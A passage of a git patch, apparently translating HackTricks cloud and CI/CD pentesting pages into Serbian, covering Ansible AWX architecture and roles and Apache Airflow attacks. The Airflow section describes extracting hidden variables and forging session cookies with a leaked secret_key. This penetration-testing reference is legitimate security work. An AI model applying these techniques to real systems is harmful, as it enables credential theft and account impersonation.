From f97679c6a0b7de9cd90e19c671b8fb726ef821e9 Mon Sep 17 00:00:00 2001 From: Translator Date: Thu, 2 Jan 2025 01:29:14 +0000 Subject: [PATCH] Translated ['src/banners/hacktricks-training.md', 'src/pentesting-ci-cd/ --- ...ower-awx-automation-controller-security.md | 132 ++++++------- .../apache-airflow-security/README.md | 42 ++-- .../airflow-configuration.md | 28 +-- .../apache-airflow-security/airflow-rbac.md | 4 +- src/pentesting-ci-cd/atlantis-security.md | 86 ++++---- src/pentesting-ci-cd/circleci-security.md | 34 ++-- .../cloudflare-security/README.md | 14 +- .../cloudflare-security/cloudflare-domains.md | 44 ++--- .../cloudflare-zero-trust-network.md | 10 +- .../concourse-security/README.md | 8 +- .../concourse-architecture.md | 6 +- .../concourse-enumeration-and-attacks.md | 70 +++---- .../concourse-lab-creation.md | 6 +- src/pentesting-ci-cd/gitea-security/README.md | 30 +-- .../gitea-security/basic-gitea-information.md | 26 +-- .../github-security/README.md | 62 +++--- .../abusing-github-actions/README.md | 90 ++++----- .../gh-actions-cache-poisoning.md | 2 +- .../gh-actions-context-script-injections.md | 2 +- .../accessible-deleted-data-in-github.md | 43 ++-- .../basic-github-information.md | 84 ++++---- .../jenkins-security/README.md | 54 ++--- .../basic-jenkins-information.md | 24 +-- ...itrary-file-read-to-rce-via-remember-me.md | 16 +- .../jenkins-dumping-secrets-from-groovy.md | 2 +- ...jenkins-rce-creating-modifying-pipeline.md | 4 +- .../jenkins-rce-creating-modifying-project.md | 20 +- .../jenkins-rce-with-groovy-script.md | 22 +-- src/pentesting-ci-cd/okta-security/README.md | 42 ++-- .../okta-security/okta-hardening.md | 42 ++-- .../pentesting-ci-cd-methodology.md | 60 +++--- .../serverless.com-security.md | 186 +++++++++--------- src/pentesting-ci-cd/supabase-security.md | 30 +-- src/pentesting-ci-cd/terraform-security.md | 62 +++--- src/pentesting-ci-cd/todo.md | 2 +- .../travisci-security/README.md | 16 +- .../basic-travisci-information.md | 20 +- src/pentesting-ci-cd/vercel-security.md | 118 +++++------ src/pentesting-cloud/aws-security/README.md | 38 ++-- .../aws-basic-information/README.md | 90 ++++----- .../aws-federation-abuse.md | 16 +- .../aws-cognito-persistence.md | 6 +- .../aws-dynamodb-persistence.md | 6 +- .../aws-persistence/aws-ec2-persistence.md | 22 +-- .../aws-persistence/aws-ecr-persistence.md | 6 +- .../aws-persistence/aws-ecs-persistence.md | 10 +- .../aws-persistence/aws-efs-persistence.md | 2 +- .../aws-elastic-beanstalk-persistence.md | 12 +- .../aws-persistence/aws-iam-persistence.md | 10 +- .../aws-persistence/aws-kms-persistence.md | 6 +- .../aws-lambda-persistence/README.md | 22 +-- .../aws-abusing-lambda-extensions.md | 12 +- .../aws-lambda-layers-persistence.md | 30 +-- .../aws-lightsail-persistence.md | 4 +- .../aws-persistence/aws-rds-persistence.md | 4 +- .../aws-persistence/aws-s3-persistence.md | 4 +- .../aws-secrets-manager-persistence.md | 2 +- .../aws-persistence/aws-sns-persistence.md | 6 +- .../aws-persistence/aws-sqs-persistence.md | 2 +- .../aws-persistence/aws-ssm-perssitence.md | 2 +- .../aws-step-functions-persistence.md | 4 +- .../aws-persistence/aws-sts-persistence.md | 8 +- .../aws-api-gateway-post-exploitation.md | 16 +- .../aws-cloudfront-post-exploitation.md | 6 +- .../aws-codebuild-post-exploitation/README.md | 10 +- .../aws-codebuild-token-leakage.md | 8 +- .../aws-control-tower-post-exploitation.md | 6 +- .../aws-dlm-post-exploitation.md | 4 +- .../aws-dynamodb-post-exploitation.md | 40 ++-- .../README.md | 32 +-- .../aws-ebs-snapshot-dump.md | 38 ++-- .../aws-malicious-vpc-mirror.md | 6 +- .../aws-ecr-post-exploitation.md | 4 +- .../aws-ecs-post-exploitation.md | 2 +- .../aws-efs-post-exploitation.md | 8 +- .../aws-eks-post-exploitation.md | 32 +-- ...aws-elastic-beanstalk-post-exploitation.md | 12 +- .../aws-iam-post-exploitation.md | 6 +- .../aws-kms-post-exploitation.md | 8 +- .../aws-warm-lambda-persistence.md | 16 +- .../aws-organizations-post-exploitation.md | 2 +- .../aws-rds-post-exploitation.md | 4 +- .../aws-s3-post-exploitation.md | 10 +- .../aws-secrets-manager-post-exploitation.md | 6 +- .../aws-ses-post-exploitation.md | 14 +- .../aws-sns-post-exploitation.md | 14 +- .../aws-sqs-post-exploitation.md | 8 +- .../aws-stepfunctions-post-exploitation.md | 14 +- .../aws-sts-post-exploitation.md | 5 +- .../aws-privilege-escalation/README.md | 2 +- .../aws-apigateway-privesc.md | 12 +- .../aws-cloudformation-privesc/README.md | 16 +- ...stack-and-cloudformation-describestacks.md | 4 +- .../aws-codebuild-privesc.md | 16 +- .../aws-codepipeline-privesc.md | 8 +- .../aws-codestar-privesc/README.md | 14 +- .../iam-passrole-codestar-createproject.md | 2 +- .../aws-cognito-privesc.md | 40 ++-- .../aws-datapipeline-privesc.md | 2 +- .../aws-directory-services-privesc.md | 4 +- .../aws-dynamodb-privesc.md | 2 +- .../aws-ebs-privesc.md | 2 +- .../aws-ec2-privesc.md | 24 +-- .../aws-ecr-privesc.md | 6 +- .../aws-ecs-privesc.md | 14 +- .../aws-efs-privesc.md | 10 +- .../aws-elastic-beanstalk-privesc.md | 6 +- .../aws-emr-privesc.md | 8 +- .../aws-privilege-escalation/aws-gamelift.md | 4 +- .../aws-glue-privesc.md | 10 +- .../aws-iam-privesc.md | 22 +-- .../aws-kms-privesc.md | 6 +- .../aws-lambda-privesc.md | 38 ++-- .../aws-lightsail-privesc.md | 18 +- .../aws-mediapackage-privesc.md | 6 +- .../aws-mq-privesc.md | 4 +- .../aws-organizations-prinvesc.md | 2 +- .../aws-rds-privesc.md | 24 +-- .../aws-redshift-privesc.md | 8 +- .../aws-s3-privesc.md | 8 +- .../aws-sagemaker-privesc.md | 16 +- .../aws-secrets-manager-privesc.md | 4 +- .../aws-sns-privesc.md | 8 +- .../aws-ssm-privesc.md | 14 +- .../aws-sso-and-identitystore-privesc.md | 8 +- .../aws-stepfunctions-privesc.md | 22 +-- .../aws-sts-privesc.md | 12 +- .../aws-workdocs-privesc.md | 4 +- .../eventbridgescheduler-privesc.md | 6 +- ...acm-pca-issuecertificate-acm-pca-getcer.md | 4 +- .../aws-security/aws-services/README.md | 8 +- .../aws-services/aws-api-gateway-enum.md | 32 +-- .../aws-cloudformation-and-codestar-enum.md | 4 +- .../aws-services/aws-cloudfront-enum.md | 12 +- .../aws-services/aws-cloudhsm-enum.md | 26 +-- .../aws-services/aws-codebuild-enum.md | 10 +- .../aws-services/aws-cognito-enum/README.md | 6 +- .../cognito-identity-pools.md | 38 ++-- .../aws-cognito-enum/cognito-user-pools.md | 78 ++++---- ...e-codepipeline-codebuild-and-codecommit.md | 8 +- .../aws-directory-services-workdocs-enum.md | 32 +-- .../aws-services/aws-documentdb-enum.md | 2 +- .../aws-services/aws-dynamodb-enum.md | 20 +- .../README.md | 20 +- .../aws-nitro-enum.md | 20 +- ...ws-vpc-and-networking-basic-information.md | 180 ++++++++--------- .../aws-security/aws-services/aws-ecr-enum.md | 10 +- .../aws-security/aws-services/aws-ecs-enum.md | 22 +-- .../aws-security/aws-services/aws-efs-enum.md | 16 +- .../aws-security/aws-services/aws-eks-enum.md | 4 +- .../aws-elastic-beanstalk-enum.md | 6 +- .../aws-services/aws-elasticache.md | 2 +- .../aws-security/aws-services/aws-emr-enum.md | 6 +- .../aws-security/aws-services/aws-iam-enum.md | 34 ++-- .../aws-kinesis-data-firehose-enum.md | 6 +- .../aws-security/aws-services/aws-kms-enum.md | 30 +-- .../aws-services/aws-lambda-enum.md | 57 +++++- .../aws-services/aws-lightsail-enum.md | 12 +- .../aws-security/aws-services/aws-mq-enum.md | 8 +- .../aws-security/aws-services/aws-msk-enum.md | 12 +- .../aws-services/aws-organizations-enum.md | 6 +- .../aws-services/aws-other-services-enum.md | 4 +- .../aws-services/aws-redshift-enum.md | 16 +- .../aws-relational-database-rds-enum.md | 26 +-- .../aws-services/aws-route53-enum.md | 2 +- .../aws-s3-athena-and-glacier-enum.md | 56 +++--- .../aws-services/aws-secrets-manager-enum.md | 2 +- .../README.md | 2 +- .../aws-cloudtrail-enum.md | 60 +++--- .../aws-cloudwatch-enum.md | 90 ++++----- .../aws-config-enum.md | 14 +- .../aws-control-tower-enum.md | 4 +- .../aws-cost-explorer-enum.md | 4 +- .../aws-detective-enum.md | 4 +- .../aws-firewall-manager-enum.md | 58 +++--- .../aws-guardduty-enum.md | 22 +-- .../aws-inspector-enum.md | 64 +++--- .../aws-macie-enum.md | 34 ++-- .../aws-security-hub-enum.md | 8 +- .../aws-shield-enum.md | 2 +- .../aws-trusted-advisor-enum.md | 38 ++-- .../aws-waf-enum.md | 56 +++--- .../aws-security/aws-services/aws-ses-enum.md | 10 +- .../aws-security/aws-services/aws-sns-enum.md | 6 +- .../aws-services/aws-sqs-and-sns-enum.md | 4 +- .../aws-services/aws-stepfunctions-enum.md | 68 +++---- .../aws-security/aws-services/aws-sts-enum.md | 12 +- .../aws-services/eventbridgescheduler-enum.md | 22 +-- .../aws-unauthenticated-enum-access/README.md | 4 +- .../aws-accounts-unauthenticated-enum.md | 20 +- .../aws-api-gateway-unauthenticated-enum.md | 26 +-- .../aws-cloudfront-unauthenticated-enum.md | 2 +- .../aws-codebuild-unauthenticated-access.md | 10 +- .../aws-cognito-unauthenticated-enum.md | 24 +-- .../aws-documentdb-enum.md | 2 +- .../aws-dynamodb-unauthenticated-access.md | 2 +- .../aws-ec2-unauthenticated-enum.md | 6 +- .../aws-ecr-unauthenticated-enum.md | 4 +- .../aws-ecs-unauthenticated-enum.md | 2 +- ...-elastic-beanstalk-unauthenticated-enum.md | 2 +- .../aws-elasticsearch-unauthenticated-enum.md | 2 +- .../aws-iam-and-sts-unauthenticated-enum.md | 20 +- ...ity-center-and-sso-unauthenticated-enum.md | 12 +- .../aws-iot-unauthenticated-enum.md | 2 +- .../aws-kinesis-video-unauthenticated-enum.md | 2 +- .../aws-lambda-unauthenticated-access.md | 2 +- .../aws-mq-unauthenticated-enum.md | 2 +- .../aws-msk-unauthenticated-enum.md | 6 +- .../aws-rds-unauthenticated-enum.md | 2 +- .../aws-redshift-unauthenticated-enum.md | 2 +- .../aws-s3-unauthenticated-enum.md | 30 +-- .../aws-sqs-unauthenticated-enum.md | 2 +- src/pentesting-cloud/azure-security/README.md | 10 +- .../az-basic-information/README.md | 90 ++++----- .../az-tokens-and-public-applications.md | 41 ++-- .../azure-security/az-device-registration.md | 24 +-- .../azure-security/az-enumeration-tools.md | 10 +- .../README.md | 18 +- .../az-arc-vulnerable-gpo-deploy-script.md | 22 +-- .../az-local-cloud-credentials.md | 10 +- .../az-pass-the-certificate.md | 4 +- .../az-pass-the-cookie.md | 2 +- .../az-primary-refresh-token-prt.md | 2 +- .../az-processes-memory-access-token.md | 8 +- .../az-cloud-kerberos-trust.md | 22 +-- .../az-default-applications.md | 4 +- .../az-synchronising-new-users.md | 6 +- .../federation.md | 30 +-- .../phs-password-hash-sync.md | 30 +-- .../pass-the-prt.md | 36 ++-- .../az-permissions-for-a-pentest.md | 4 +- .../pentesting-cloud-methodology.md | 32 +-- 232 files changed, 2353 insertions(+), 2293 deletions(-) diff --git a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md index 6ce25cb73..47f098f41 100644 --- a/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md +++ b/src/pentesting-ci-cd/ansible-tower-awx-automation-controller-security.md @@ -2,61 +2,61 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Osnovne informacije -**Ansible Tower** ili njegova open-source verzija [**AWX**](https://github.com/ansible/awx) poznata je kao **korisnički interfejs, kontrolna tabla i REST API Ansible-a**. Sa **kontrolom pristupa zasnovanom na rolama**, rasporedom poslova i grafičkim upravljanjem inventarom, možete upravljati svojom Ansible infrastrukturom iz modernog UI-a. REST API i komandna linija Tower-a olakšavaju integraciju sa trenutnim alatima i radnim tokovima. +**Ansible Tower** ili njegova open-source verzija [**AWX**](https://github.com/ansible/awx) poznata je kao **korisnički interfejs, kontrolna tabla i REST API** za Ansible. Sa **kontrolom pristupa zasnovanom na rolama**, zakazivanjem poslova i grafičkim upravljanjem inventarom, možete upravljati svojom Ansible infrastrukturom iz modernog UI-a. Tower-ov REST API i komandna linija olakšavaju integraciju sa trenutnim alatima i radnim tokovima. **Automation Controller je novija** verzija Ansible Tower-a sa više mogućnosti. -### Differences +### Razlike Prema [**ovome**](https://blog.devops.dev/ansible-tower-vs-awx-under-the-hood-65cfec78db00), glavne razlike između Ansible Tower-a i AWX-a su podrška koja se dobija, a Ansible Tower ima dodatne funkcije kao što su kontrola pristupa zasnovana na rolama, podrška za prilagođene API-je i korisnički definisani radni tokovi. -### Tech Stack +### Tehnološki stack -- **Web Interface**: Ovo je grafički interfejs gde korisnici mogu upravljati inventarima, akreditivima, šablonima i poslovima. Dizajniran je da bude intuitivan i pruža vizualizacije koje pomažu u razumevanju stanja i rezultata vaših automatizovanih poslova. -- **REST API**: Sve što možete uraditi u web interfejsu, možete uraditi i putem REST API-ja. To znači da možete integrisati AWX/Tower sa drugim sistemima ili skriptovati radnje koje biste obično izvodili u interfejsu. -- **Database**: AWX/Tower koristi bazu podataka (obično PostgreSQL) za čuvanje svoje konfiguracije, rezultata poslova i drugih neophodnih operativnih podataka. +- **Web interfejs**: Ovo je grafički interfejs gde korisnici mogu upravljati inventarima, akreditivima, šablonima i poslovima. Dizajniran je da bude intuitivan i pruža vizualizacije koje pomažu u razumevanju stanja i rezultata vaših automatizovanih poslova. +- **REST API**: Sve što možete da uradite u web interfejsu, možete uraditi i putem REST API-ja. To znači da možete integrisati AWX/Tower sa drugim sistemima ili skriptovati radnje koje biste obično izvodili u interfejsu. +- **Baza podataka**: AWX/Tower koristi bazu podataka (obično PostgreSQL) za čuvanje svoje konfiguracije, rezultata poslova i drugih neophodnih operativnih podataka. - **RabbitMQ**: Ovo je sistem za razmenu poruka koji koristi AWX/Tower za komunikaciju između različitih komponenti, posebno između web servisa i izvršitelja zadataka. - **Redis**: Redis služi kao keš i pozadinski sistem za red zadataka. -### Logical Components +### Logičke komponente -- **Inventories**: Inventar je **kolekcija hostova (ili čvorova)** protiv kojih se mogu **izvršavati poslovi** (Ansible playbook-ovi). AWX/Tower vam omogućava da definišete i grupišete svoje inventare i takođe podržava dinamične inventare koji mogu **pribaviti liste hostova iz drugih sistema** kao što su AWS, Azure, itd. -- **Projects**: Projekat je u suštini **kolekcija Ansible playbook-ova** preuzetih iz **sistema za kontrolu verzija** (kao što je Git) kako bi se povukli najnoviji playbook-ovi kada je to potrebno. -- **Templates**: Šabloni poslova definišu **kako će se određeni playbook izvršiti**, specificirajući **inventar**, **akreditive** i druge **parametre** za posao. -- **Credentials**: AWX/Tower pruža siguran način za **upravljanje i čuvanje tajni, kao što su SSH ključevi, lozinke i API tokeni**. Ovi akreditivi mogu biti povezani sa šablonima poslova kako bi playbook-ovi imali neophodan pristup kada se izvršavaju. +- **Inventari**: Inventar je **kolekcija hostova (ili čvorova)** protiv kojih se mogu **izvršavati poslovi** (Ansible playbook-ovi). AWX/Tower vam omogućava da definišete i grupišete svoje inventare i takođe podržava dinamičke inventare koji mogu **pribaviti liste hostova iz drugih sistema** kao što su AWS, Azure, itd. +- **Projekti**: Projekat je u suštini **kolekcija Ansible playbook-ova** preuzetih iz **sistema za kontrolu verzija** (kao što je Git) kako bi se povukli najnoviji playbook-ovi kada je to potrebno. +- **Šabloni**: Šabloni poslova definišu **kako će se određeni playbook izvršiti**, specificirajući **inventar**, **akreditive** i druge **parametre** za posao. +- **Akreditivi**: AWX/Tower pruža siguran način za **upravljanje i čuvanje tajni, kao što su SSH ključevi, lozinke i API tokeni**. Ovi akreditivi mogu biti povezani sa šablonima poslova kako bi playbook-ovi imali neophodan pristup kada se izvrše. - **Task Engine**: Ovo je mesto gde se dešava magija. Task engine je izgrađen na Ansible-u i odgovoran je za **izvršavanje playbook-ova**. Poslovi se šalju task engine-u, koji zatim izvršava Ansible playbook-ove protiv određenog inventara koristeći specificirane akreditive. -- **Schedulers and Callbacks**: Ovo su napredne funkcije u AWX/Tower koje omogućavaju **raspoređivanje poslova** da se izvršavaju u određenim vremenima ili da budu pokrenuti spoljnim događajima. -- **Notifications**: AWX/Tower može slati obaveštenja na osnovu uspeha ili neuspeha poslova. Podržava različite načine obaveštavanja kao što su e-mailovi, Slack poruke, webhook-ovi, itd. -- **Ansible Playbooks**: Ansible playbook-ovi su alati za konfiguraciju, implementaciju i orkestraciju. Oni opisuju željeno stanje sistema na automatizovan, ponovljiv način. Napisani u YAML-u, playbook-ovi koriste Ansible-ov deklarativni jezik automatizacije za opisivanje konfiguracija, zadataka i koraka koji treba da se izvrše. +- **Zakazivači i povratni pozivi**: Ovo su napredne funkcije u AWX/Tower-u koje omogućavaju **zakazivanje poslova** da se izvrše u određenim vremenima ili da budu pokrenuti spoljnim događajima. +- **Obaveštenja**: AWX/Tower može slati obaveštenja na osnovu uspeha ili neuspeha poslova. Podržava različite načine obaveštavanja kao što su e-mailovi, Slack poruke, webhook-ovi, itd. +- **Ansible Playbook-ovi**: Ansible playbook-ovi su alati za konfiguraciju, implementaciju i orkestraciju. Oni opisuju željeno stanje sistema na automatizovan, ponovljiv način. Napisani u YAML-u, playbook-ovi koriste Ansible-ov deklarativni jezik automatizacije za opisivanje konfiguracija, zadataka i koraka koji treba da se izvrše. -### Job Execution Flow +### Tok izvršenja poslova -1. **User Interaction**: Korisnik može interagovati sa AWX/Tower ili putem **Web Interface** ili **REST API**. Ovi pružaju front-end pristup svim funkcionalnostima koje nudi AWX/Tower. -2. **Job Initiation**: -- Korisnik, putem Web Interface-a ili API-ja, pokreće posao na osnovu **Job Template**. -- Job Template uključuje reference na **Inventory**, **Project** (koji sadrži playbook) i **Credentials**. -- Po pokretanju posla, zahtev se šalje AWX/Tower pozadini da se posao stavi u red za izvršenje. -3. **Job Queuing**: -- **RabbitMQ** upravlja razmenom poruka između web komponente i izvršitelja zadataka. Kada se posao pokrene, poruka se šalje task engine-u koristeći RabbitMQ. +1. **Interakcija korisnika**: Korisnik može interagovati sa AWX/Tower-om ili putem **Web interfejsa** ili **REST API-ja**. Ovi pružaju front-end pristup svim funkcionalnostima koje nudi AWX/Tower. +2. **Inicijacija posla**: +- Korisnik, putem Web interfejsa ili API-ja, inicira posao na osnovu **Šablona posla**. +- Šablon posla uključuje reference na **Inventar**, **Projekat** (koji sadrži playbook) i **Akreditive**. +- Nakon inicijacije posla, zahtev se šalje AWX/Tower pozadini da se posao stavi u red za izvršenje. +3. **Redosled poslova**: +- **RabbitMQ** upravlja razmenom poruka između web komponente i izvršitelja zadataka. Kada se posao inicira, poruka se šalje task engine-u koristeći RabbitMQ. - **Redis** deluje kao pozadinski sistem za red zadataka, upravljajući redom poslova koji čekaju na izvršenje. -4. **Job Execution**: -- **Task Engine** preuzima posao iz reda. Preuzima potrebne informacije iz **Database** o povezanom playbook-u, inventaru i akreditivima. -- Koristeći preuzeti Ansible playbook iz povezanog **Project**, Task Engine izvršava playbook protiv specificiranih **Inventory** čvorova koristeći date **Credentials**. -- Dok se playbook izvršava, njegov izlaz (logovi, činjenice, itd.) se beleži i čuva u **Database**. -5. **Job Results**: -- Kada se playbook završi, rezultati (uspeh, neuspeh, logovi) se čuvaju u **Database**. -- Korisnici mogu pregledati rezultate putem Web Interface-a ili ih pretraživati putem REST API-ja. -- Na osnovu ishoda posla, **Notifications** se mogu slati kako bi obavestili korisnike ili spoljne sisteme o statusu posla. Obaveštenja mogu biti e-mailovi, Slack poruke, webhook-ovi, itd. -6. **External Systems Integration**: -- **Inventories** se mogu dinamički preuzimati iz spoljnog sistema, omogućavajući AWX/Tower da povuče hostove iz izvora kao što su AWS, Azure, VMware i drugi. -- **Projects** (playbook-ovi) mogu se preuzeti iz sistema za kontrolu verzija, osiguravajući korišćenje ažuriranih playbook-ova tokom izvršenja posla. -- **Schedulers and Callbacks** mogu se koristiti za integraciju sa drugim sistemima ili alatima, omogućavajući AWX/Tower da reaguje na spoljne okidače ili izvršava poslove u unapred određenim vremenima. +4. **Izvršenje posla**: +- **Task Engine** preuzima posao iz reda. On pribavlja neophodne informacije iz **Baze podataka** o povezanom playbook-u, inventaru i akreditivima. +- Koristeći preuzeti Ansible playbook iz povezanog **Projekta**, Task Engine izvršava playbook protiv specificiranih **Inventar** čvorova koristeći pružene **Akreditive**. +- Dok se playbook izvršava, njegov izlaz (logovi, činjenice, itd.) se beleži i čuva u **Bazi podataka**. +5. **Rezultati posla**: +- Kada se playbook završi, rezultati (uspeh, neuspeh, logovi) se čuvaju u **Bazi podataka**. +- Korisnici mogu pregledati rezultate putem Web interfejsa ili ih upititi putem REST API-ja. +- Na osnovu ishoda posla, **Obaveštenja** se mogu slati kako bi obavestila korisnike ili spoljne sisteme o statusu posla. Obaveštenja mogu biti e-mailovi, Slack poruke, webhook-ovi, itd. +6. **Integracija sa spoljnim sistemima**: +- **Inventari** se mogu dinamički pribavljati iz spoljnih sistema, omogućavajući AWX/Tower-u da povuče hostove iz izvora kao što su AWS, Azure, VMware i drugi. +- **Projekti** (playbook-ovi) mogu se preuzeti iz sistema za kontrolu verzija, osiguravajući korišćenje ažuriranih playbook-ova tokom izvršenja posla. +- **Zakazivači i povratni pozivi** mogu se koristiti za integraciju sa drugim sistemima ili alatima, omogućavajući AWX/Tower-u da reaguje na spoljne okidače ili izvršava poslove u unapred određenim vremenima. -### AWX lab creation for testing +### Kreiranje AWX laboratorije za testiranje -[**Following the docs**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) moguće je koristiti docker-compose za pokretanje AWX: +[**Prateći dokumentaciju**](https://github.com/ansible/awx/blob/devel/tools/docker-compose/README.md) moguće je koristiti docker-compose za pokretanje AWX: ```bash git clone -b x.y.z https://github.com/ansible/awx.git # Get in x.y.z the latest release version @@ -84,53 +84,53 @@ docker exec tools_awx_1 awx-manage create_preload_data ``` ## RBAC -### Supported roles +### Podržane uloge -Najprivilegovanija uloga se zove **System Administrator**. Svako ko ima ovu ulogu može **modifikovati bilo šta**. +Najprivilegovanija uloga se zove **Sistem Administrator**. Svako ko ima ovu ulogu može **modifikovati bilo šta**. -Iz **white box security** pregleda, potrebna vam je **System Auditor role**, koja omogućava **pregled svih podataka sistema** ali ne može da pravi nikakve promene. Druga opcija bi bila da dobijete **Organization Auditor role**, ali bi bilo bolje da dobijete onu prvu. +Iz **white box security** pregleda, potrebna vam je **Sistem Auditor uloga**, koja omogućava **pregled svih podataka sistema** ali ne može da pravi nikakve promene. Druga opcija bi bila da dobijete **Organizacija Auditor ulogu**, ali bi bilo bolje da dobijete onu prvu.
-Expand this to get detailed description of available roles +Proširite ovo da dobijete detaljan opis dostupnih uloga -1. **System Administrator**: +1. **Sistem Administrator**: - Ovo je superuser uloga sa dozvolama za pristup i modifikaciju bilo kog resursa u sistemu. - Mogu upravljati svim organizacijama, timovima, projektima, inventarima, šablonima poslova, itd. -2. **System Auditor**: +2. **Sistem Auditor**: - Korisnici sa ovom ulogom mogu da vide sve podatke sistema, ali ne mogu da prave nikakve promene. - Ova uloga je dizajnirana za usklađenost i nadzor. -3. **Organization Roles**: +3. **Uloge Organizacije**: - **Admin**: Potpuna kontrola nad resursima organizacije. - **Auditor**: Pristup samo za pregled resursa organizacije. -- **Member**: Osnovno članstvo u organizaciji bez specifičnih dozvola. -- **Execute**: Može pokretati šablone poslova unutar organizacije. -- **Read**: Može pregledati resurse organizacije. -4. **Project Roles**: +- **Član**: Osnovno članstvo u organizaciji bez specifičnih dozvola. +- **Izvrši**: Može pokretati šablone poslova unutar organizacije. +- **Čitaj**: Može pregledati resurse organizacije. +4. **Uloge Projekta**: - **Admin**: Može upravljati i modifikovati projekat. -- **Use**: Može koristiti projekat u šablonu posla. -- **Update**: Može ažurirati projekat koristeći SCM (source control). -5. **Inventory Roles**: +- **Koristi**: Može koristiti projekat u šablonu posla. +- **Ažuriraj**: Može ažurirati projekat koristeći SCM (kontrola verzija). +5. **Uloge Inventara**: - **Admin**: Može upravljati i modifikovati inventar. - **Ad Hoc**: Može pokretati ad hoc komande na inventaru. -- **Update**: Može ažurirati izvor inventara. -- **Use**: Može koristiti inventar u šablonu posla. -- **Read**: Pristup samo za pregled. -6. **Job Template Roles**: +- **Ažuriraj**: Može ažurirati izvor inventara. +- **Koristi**: Može koristiti inventar u šablonu posla. +- **Čitaj**: Pristup samo za pregled. +6. **Uloge Šablona Posla**: - **Admin**: Može upravljati i modifikovati šablon posla. -- **Execute**: Može pokrenuti posao. -- **Read**: Pristup samo za pregled. -7. **Credential Roles**: +- **Izvrši**: Može pokrenuti posao. +- **Čitaj**: Pristup samo za pregled. +7. **Uloge Akreditiva**: - **Admin**: Može upravljati i modifikovati akreditive. -- **Use**: Može koristiti akreditive u šablonima poslova ili drugim relevantnim resursima. -- **Read**: Pristup samo za pregled. -8. **Team Roles**: -- **Member**: Deo tima, ali bez specifičnih dozvola. +- **Koristi**: Može koristiti akreditive u šablonima poslova ili drugim relevantnim resursima. +- **Čitaj**: Pristup samo za pregled. +8. **Uloge Tima**: +- **Član**: Deo tima, ali bez specifičnih dozvola. - **Admin**: Može upravljati članovima tima i povezanim resursima. -9. **Workflow Roles**: -- **Admin**: Može upravljati i modifikovati tok rada. -- **Execute**: Može pokrenuti tok rada. -- **Read**: Pristup samo za pregled. +9. **Uloge Radnog Tok**: +- **Admin**: Može upravljati i modifikovati radni tok. +- **Izvrši**: Može pokrenuti radni tok. +- **Čitaj**: Pristup samo za pregled.
diff --git a/src/pentesting-ci-cd/apache-airflow-security/README.md b/src/pentesting-ci-cd/apache-airflow-security/README.md index 4dbf3f480..663c1ef9a 100644 --- a/src/pentesting-ci-cd/apache-airflow-security/README.md +++ b/src/pentesting-ci-cd/apache-airflow-security/README.md @@ -26,7 +26,7 @@ helm install airflow-release airflow-stable/airflow # Use this command to delete it helm delete airflow-release ``` -### Airflow Configuration +### Konfiguracija Airflow-a Airflow može čuvati **osetljive informacije** u svojoj konfiguraciji ili možete pronaći slabe konfiguracije: @@ -36,48 +36,48 @@ airflow-configuration.md ### Airflow RBAC -Pre nego što počnete sa napadom na Airflow, trebali biste razumeti **kako funkcionišu dozvole**: +Pre nego što počnete sa napadima na Airflow, trebali biste razumeti **kako funkcionišu dozvole**: {{#ref}} airflow-rbac.md {{#endref}} -### Attacks +### Napadi -#### Web Console Enumeration +#### Enumeracija Web Konzole Ako imate **pristup web konzoli**, možda ćete moći da pristupite nekim ili svim sledećim informacijama: -- **Varijable** (Prilagođene osetljive informacije mogu biti sačuvane ovde) -- **Konekcije** (Prilagođene osetljive informacije mogu biti sačuvane ovde) +- **Promenljive** (Prilagođene osjetljive informacije mogu biti pohranjene ovde) +- **Konekcije** (Prilagođene osjetljive informacije mogu biti pohranjene ovde) - Pristupite im na `http:///connection/list/` -- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti sačuvane ovde) +- [**Konfiguracija**](./#airflow-configuration) (Osetljive informacije kao što su **`secret_key`** i lozinke mogu biti pohranjene ovde) - Lista **korisnika i uloga** - **Kod svakog DAG-a** (koji može sadržati zanimljive informacije) -#### Retrieve Variables Values +#### Preuzimanje vrednosti promenljivih -Varijable se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http:///variable/list/`.\ -Airflow po defaultu prikazuje vrednost varijable u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu varijabli** čija će **vrednost** biti prikazana kao **zvezdice** u **GUI**. +Promenljive se mogu čuvati u Airflow-u tako da **DAG-ovi** mogu **pristupiti** njihovim vrednostima. Slično je tajnama drugih platformi. Ako imate **dovoljno dozvola**, možete im pristupiti u GUI-u na `http:///variable/list/`.\ +Airflow po defaultu prikazuje vrednost promenljive u GUI-u, međutim, prema [**ovome**](https://marclamberti.com/blog/variables-with-apache-airflow/), moguće je postaviti **listu promenljivih** čija će se **vrednost** prikazivati kao **zvezdice** u **GUI-u**. ![](<../../images/image (164).png>) -Međutim, ove **vrednosti** se i dalje mogu **pribaviti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom krajnjoj tački varijabli (API mora biti aktiviran), i **čak i samim GUI-em!**\ -Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite varijable** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\ +Međutim, ove **vrednosti** se i dalje mogu **preuzeti** putem **CLI** (morate imati pristup bazi podataka), **izvršavanjem proizvoljnog DAG-a**, **API** pristupom tački promenljivih (API mora biti aktiviran), i **čak i samim GUI-em!**\ +Da biste pristupili tim vrednostima iz GUI-a, jednostavno **izaberite promenljive** kojima želite da pristupite i **kliknite na Akcije -> Izvezi**.\ Drugi način je da izvršite **bruteforce** na **skrivenoj vrednosti** koristeći **filtriranje pretrage** dok je ne dobijete: ![](<../../images/image (152).png>) -#### Privilege Escalation +#### Eskalacija privilegija -Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **naviše** mogu **čitati** **konfiguraciju na web-u**. U ovoj konfiguraciji se pojavljuje **`secret_key`**, što znači da svaki korisnik sa ovim važećim može **napraviti svoj potpisani kolačić da bi se pretvarao da je bilo koji drugi korisnički nalog**. +Ako je konfiguracija **`expose_config`** postavljena na **True**, iz **uloge Korisnik** i **više** mogu **čitati** **konfiguraciju na 